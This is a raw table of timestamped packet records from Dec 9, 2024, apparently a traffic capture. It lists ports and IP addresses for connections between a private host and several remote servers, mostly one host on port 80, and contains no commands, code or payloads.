Dec 9, 2024 21:09:57.765224934 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.765263081 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.765443087 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.767447948 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.767590046 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.768579960 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.769634962 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.769679070 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.769772053 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.771902084 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.771965981 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.771995068 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.774068117 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.774107933 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.774171114 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.776246071 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.776318073 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.778372049 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.778569937 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.780529022 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.780647039 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.782546043 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.782645941 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.782717943 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.782794952 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.784135103 CET	50013	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:57.784173965 CET	443	50013	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:57.784274101 CET	50013	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:57.784570932 CET	50013	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:57.784580946 CET	443	50013	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:57.784749985 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.784785032 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.784816027 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.787261963 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.787308931 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.787831068 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.788887978 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.789118052 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.789140940 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.790975094 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.791023016 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.791047096 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.792948961 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.793020010 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.793088913 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.794903040 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.794959068 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.795036077 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.796931982 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.796969891 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.796977043 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.798885107 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.798978090 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.799038887 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.800915003 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.800961971 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.801033974 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.802903891 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.802942038 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.802959919 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.804888964 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.804919004 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.804935932 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.807287931 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.807343006 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.808986902 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.809073925 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.809983969 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.811192989 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.811235905 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.811307907 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.812946081 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.813000917 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.813024998 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.814954996 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.814995050 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.815134048 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.816884995 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.816914082 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.816931963 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.818865061 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.818907976 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.818912029 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.820849895 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.821028948 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.822825909 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.822828054 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.822964907 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.824842930 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.825032949 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.825263977 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.826889992 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.827003956 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.828881025 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.828891993 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.828995943 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.829346895 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.830893993 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.830975056 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.831448078 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.832912922 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.832956076 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.832957029 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.834850073 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.834903002 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.835047007 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.836802006 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.836873055 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.836924076 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.838841915 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.838886976 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.838938951 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.840828896 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.840868950 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.840869904 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.842890978 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.842945099 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.842971087 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.844856024 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.844968081 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.845153093 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.846793890 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.846862078 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.846915960 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.847779989 CET	80	50004	185.215.113.206	192.168.2.6
Dec 9, 2024 21:09:57.847848892 CET	50004	80	192.168.2.6	185.215.113.206
Dec 9, 2024 21:09:57.848778009 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.848905087 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.849570990 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.850558043 CET	50004	80	192.168.2.6	185.215.113.206
Dec 9, 2024 21:09:57.850729942 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.850784063 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.896786928 CET	50014	443	192.168.2.6	35.244.181.201
Dec 9, 2024 21:09:57.896843910 CET	443	50014	35.244.181.201	192.168.2.6
Dec 9, 2024 21:09:57.896998882 CET	50015	443	192.168.2.6	34.117.188.166
Dec 9, 2024 21:09:57.897011995 CET	443	50015	34.117.188.166	192.168.2.6
Dec 9, 2024 21:09:57.897744894 CET	50014	443	192.168.2.6	35.244.181.201
Dec 9, 2024 21:09:57.897744894 CET	50015	443	192.168.2.6	34.117.188.166
Dec 9, 2024 21:09:57.897872925 CET	50014	443	192.168.2.6	35.244.181.201
Dec 9, 2024 21:09:57.897885084 CET	443	50014	35.244.181.201	192.168.2.6
Dec 9, 2024 21:09:57.899291039 CET	50015	443	192.168.2.6	34.117.188.166
Dec 9, 2024 21:09:57.899301052 CET	443	50015	34.117.188.166	192.168.2.6
Dec 9, 2024 21:09:57.930032969 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.930063009 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.930741072 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.930783987 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.932341099 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.932445049 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.933897972 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.934022903 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.935477018 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.935594082 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.937037945 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.937118053 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.938575983 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.938699007 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.944246054 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.944329023 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.944969893 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.945010900 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.945755005 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.946424961 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.946544886 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.947892904 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.948061943 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.949265003 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.949397087 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.950723886 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.950828075 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.952044964 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.952086926 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.953416109 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.953540087 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.954869986 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.954898119 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.956163883 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.956260920 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.956300020 CET	443	50002	142.250.181.78	192.168.2.6
Dec 9, 2024 21:09:57.957062960 CET	443	50002	142.250.181.78	192.168.2.6
Dec 9, 2024 21:09:57.957510948 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.957629919 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.958864927 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.958884001 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.960135937 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.960206032 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.961493015 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.961524010 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.961592913 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.962835073 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.962905884 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.964104891 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.964220047 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.965466022 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.965650082 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.966660976 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.966727018 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.967930079 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.967994928 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.969186068 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.969297886 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.969810963 CET	80	50004	185.215.113.206	192.168.2.6
Dec 9, 2024 21:09:57.970444918 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.970598936 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.971333027 CET	443	50002	142.250.181.78	192.168.2.6
Dec 9, 2024 21:09:57.971690893 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.971802950 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.972958088 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.973054886 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.973081112 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.973166943 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.973172903 CET	50002	443	192.168.2.6	142.250.181.78
Dec 9, 2024 21:09:57.974283934 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.974502087 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.975578070 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.975677967 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.976502895 CET	50002	443	192.168.2.6	142.250.181.78
Dec 9, 2024 21:09:57.976660013 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.976686954 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.976772070 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.977933884 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.977968931 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.979208946 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.979300022 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.980403900 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.980511904 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.981601000 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.981730938 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.982445002 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.982572079 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.982848883 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.982881069 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.982918024 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.982996941 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.983108997 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.984112978 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.984244108 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.985445023 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.985531092 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.986268044 CET	50002	443	192.168.2.6	142.250.181.78
Dec 9, 2024 21:09:57.986300945 CET	443	50002	142.250.181.78	192.168.2.6
Dec 9, 2024 21:09:57.986356974 CET	50002	443	192.168.2.6	142.250.181.78
Dec 9, 2024 21:09:57.986553907 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.986603022 CET	443	50002	142.250.181.78	192.168.2.6
Dec 9, 2024 21:09:57.986656904 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.987839937 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.987893105 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.989099979 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.989214897 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.990312099 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.990340948 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.991553068 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.991672993 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.992152929 CET	50002	443	192.168.2.6	142.250.181.78
Dec 9, 2024 21:09:57.992162943 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.992753983 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.992872000 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.993993044 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.994069099 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.995122910 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.995192051 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.995345116 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.996517897 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.996603012 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.997733116 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.997838020 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.998038054 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.998157024 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.998889923 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.999027967 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.999129057 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.000294924 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.000389099 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.001507998 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.001568079 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.002729893 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.005079031 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.117465019 CET	50016	80	192.168.2.6	34.107.221.82
Dec 9, 2024 21:09:58.119812965 CET	50017	443	192.168.2.6	34.160.144.191
Dec 9, 2024 21:09:58.119862080 CET	443	50017	34.160.144.191	192.168.2.6
Dec 9, 2024 21:09:58.120601892 CET	50017	443	192.168.2.6	34.160.144.191
Dec 9, 2024 21:09:58.121036053 CET	50017	443	192.168.2.6	34.160.144.191
Dec 9, 2024 21:09:58.121052027 CET	443	50017	34.160.144.191	192.168.2.6
Dec 9, 2024 21:09:58.121934891 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.122037888 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.122428894 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.122534990 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.123476982 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.123622894 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.124516964 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.124597073 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.124989033 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.125539064 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.125626087 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.125974894 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.126559019 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.126672029 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.126867056 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.127577066 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.127629995 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.127748013 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.136204004 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.136250019 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.136343002 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.136411905 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.136506081 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.136641026 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.137479067 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.137614012 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.138245106 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.138489962 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.138645887 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.139384985 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.139422894 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.139631987 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.139730930 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.140430927 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.140628099 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.140762091 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.141415119 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.141525030 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.141995907 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.142479897 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.142579079 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.142641068 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.143498898 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.143661022 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.144431114 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.144541025 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.145479918 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.145545959 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.146449089 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.146579981 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.147495031 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.147520065 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.147557974 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.147913933 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.148466110 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.148603916 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.149435043 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.149454117 CET	50000	80	192.168.2.6	185.215.113.16
